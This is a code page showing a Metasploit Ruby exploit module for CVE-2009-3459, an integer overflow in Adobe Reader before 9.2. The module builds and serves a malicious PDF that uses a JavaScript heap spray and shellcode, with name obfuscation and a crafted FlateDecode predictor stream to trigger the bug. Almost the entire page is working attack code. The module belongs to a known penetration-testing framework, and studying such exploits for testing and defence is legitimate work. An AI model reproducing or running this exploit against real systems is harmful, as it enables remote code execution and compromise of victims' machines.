Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpServer::HTML1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow',15'Description' => %q{16This module exploits an integer overflow vulnerability in Adobe Reader and Adobe17Acrobat Professional versions before 9.2.18},19'License' => MSF_LICENSE,20'Author' =>21[22'unknown', # Found in the wild23# Metasploit version by:24'jduck',25'jabra'26],27'References' =>28[29[ 'CVE', '2009-3459' ],30[ 'BID', '36600' ],31[ 'OSVDB', '58729' ],32[ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ],33[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]34],35'DefaultOptions' =>36{37'EXITFUNC' => 'process',38},39'Payload' =>40{41'Space' => 1024,42'BadChars' => "\x00",43'DisableNops' => true44},45'Platform' => 'win',46'Targets' =>47[48# test results (on Windows XP SP3)49# reader 7.0.5 - untested50# reader 7.0.8 - untested51# reader 7.0.9 - untested52# reader 7.1.0 - untested53# reader 7.1.1 - untested54# reader 8.0.0 - untested55# reader 8.1.2 - untested56# reader 8.1.3 - untested57# reader 8.1.4 - untested58# reader 8.1.5 - untested59# reader 8.1.6 - untested60# reader 9.0.0 - untested61# reader 9.1.0 - works!62# reader 9.2 - not vulnerable63[ 'Adobe Reader Windows Universal (JS Heap Spray)',64{65'Size' => ((1024*1024) - 32)66}67],68],69'DisclosureDate' => '2009-10-08',70'DefaultTarget' => 0))71end7273def autofilter74false75end7677def check_dependencies78use_zlib79end8081def on_request_uri(cli, request)82return if ((p = regenerate_payload(cli)) == nil)8384# Encode the shellcode.85shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))8687# Make some nops88nops = Rex::Text.to_unescape(make_nops(4))89randnop = rand_text_alpha(rand(100) + 1)9091# Randomize variables92rand1 = rand_text_alpha(rand(100) + 1)93rand2 = rand_text_alpha(rand(100) + 1)9495script = %Q|96var #{rand1} = unescape("#{shellcode}");97var #{randnop} = "#{nops}";98var #{rand2} = unescape(#{randnop});99while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};100#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);101memory = new Array();102for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }103|104# Create the pdf105pdf = make_pdf(script)106107print_status("Sending #{self.name}")108109send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })110111handler(cli)112113end114115def random_non_ascii_string(count)116result = ""117count.times do118result << (rand(128) + 128).chr119end120result121end122123def io_def(id)124"%d 0 obj" % id125end126127def io_ref(id)128"%d 0 R" % id129end130131#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/132def n_obfu(str)133result = ""134str.scan(/./u) do |c|135if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'136result << "#%x" % c.unpack("C*")[0]137else138result << c139end140end141result142end143144def ascii_hex_whitespace_encode(str)145result = ""146whitespace = ""147str.each_byte do |b|148result << whitespace << "%02x" % b149whitespace = " " * (rand(3) + 1)150end151result << ">"152end153154def make_flate_data()155156# NOTE: this data is from the original, in-the-wild exploit...157# on 9.1.0 xpsp3, this causes a crash executing 0x70000000158# that's not exactly a fun address to try to heap spray to159bpc = 1160data = "\x00\x00\x20\x00\x00\x00\x10"161162# this way, we can adjust dwords on the heap by 8-bits of data..163# this leads to eip being around 0x1000xxxx, much more friendly164bpc = 8165addend = 9166data = "\x00" * 64167data[18,1] = [addend].pack('C')168data[51,1] = [addend].pack('C')169170return bpc, data171end172173174def make_pdf(js)175176xref = []177eol = "\x0d\x0a"178endobj = "endobj" << eol179180# Randomize PDF version?181pdf = "%PDF-1.5" << eol182pdf << "%" << random_non_ascii_string(4) << eol183184xref << pdf.length185pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2)186pdf << n_obfu("/Pages ") << io_ref(3)187pdf << n_obfu("/OpenAction ") << io_ref(5)188pdf << ">>" << endobj189190xref << pdf.length191pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj192193xref << pdf.length194pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj195196xref << pdf.length197pdf << io_def(4) << n_obfu("<</Contents ") << io_ref(7)198pdf << n_obfu("/Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj199200xref << pdf.length201pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj202203xref << pdf.length204compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))205pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol206pdf << "stream" << eol207pdf << compressed << eol208pdf << "endstream" << eol209pdf << endobj210211# generate data for inside the flate'd stream212bits_per_component, data = make_flate_data()213compressed = Zlib::Deflate.deflate(data)214215xref << pdf.length216pdf << io_def(7) << n_obfu("<</DecodeParms")217pdf << n_obfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component)218pdf << n_obfu("/Length %s/Filter/FlateDecode>>" % compressed.length)219pdf << "stream" << eol220pdf << compressed << eol221pdf << "endstream" << eol222pdf << endobj223224xrefPosition = pdf.length225pdf << "xref" << eol226pdf << "0 %d" % (xref.length + 1) << eol227pdf << "0000000000 65535 f" << eol228xref.each do |index|229pdf << "%010d 00000 n" % index << eol230end231pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol232pdf << "startxref" << eol233pdf << xrefPosition.to_s() << eol234pdf << "%%EOF" << eol235236end237end238239240